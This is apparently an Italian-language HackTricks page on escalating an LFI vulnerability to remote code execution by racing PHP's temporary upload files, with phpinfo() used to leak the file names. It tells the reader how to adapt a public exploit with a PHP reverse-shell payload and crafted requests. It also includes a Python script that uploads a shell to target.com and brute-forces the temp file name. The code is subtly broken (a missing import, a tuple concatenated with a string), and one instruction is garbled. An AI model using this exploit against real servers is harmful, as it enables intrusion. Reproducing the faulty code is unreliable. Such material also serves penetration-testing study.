5.2 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Per sfruttare questa vulnerabilità hai bisogno di: Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Devi correggere l'exploit (cambiare => in =>). Per farlo puoi fare:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Devi cambiare anche il payload all'inizio dell'exploit (per un php-rev-shell ad esempio), il REQ1 (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), e LFIREQ (questo dovrebbe puntare alla vulnerabilità LFI, cioè: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Controlla il doppio "%" quando sfrutti il carattere nullo)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Teoria
Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato.
Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato.
In Windows i file sono solitamente memorizzati in C:\Windows\temp\php
In linux il nome del file di solito è random e si trova in /tmp. Poiché il nome è casuale, è necessario estrarre da qualche parte il nome del file temporaneo e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della variabile $_FILES all'interno del contenuto della funzione "phpconfig()".
phpinfo()
PHP utilizza un buffer di 4096B e quando è pieno, viene inviato al client. Quindi il client può inviare molte richieste grandi (utilizzando intestazioni grandi) caricando un php reverse shell, aspettare che la prima parte di phpinfo() venga restituita (dove si trova il nome del file temporaneo) e provare a accedere al file temporaneo prima che il server php elimini il file sfruttando una vulnerabilità LFI.
Script Python per provare a forzare il nome (se la lunghezza = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.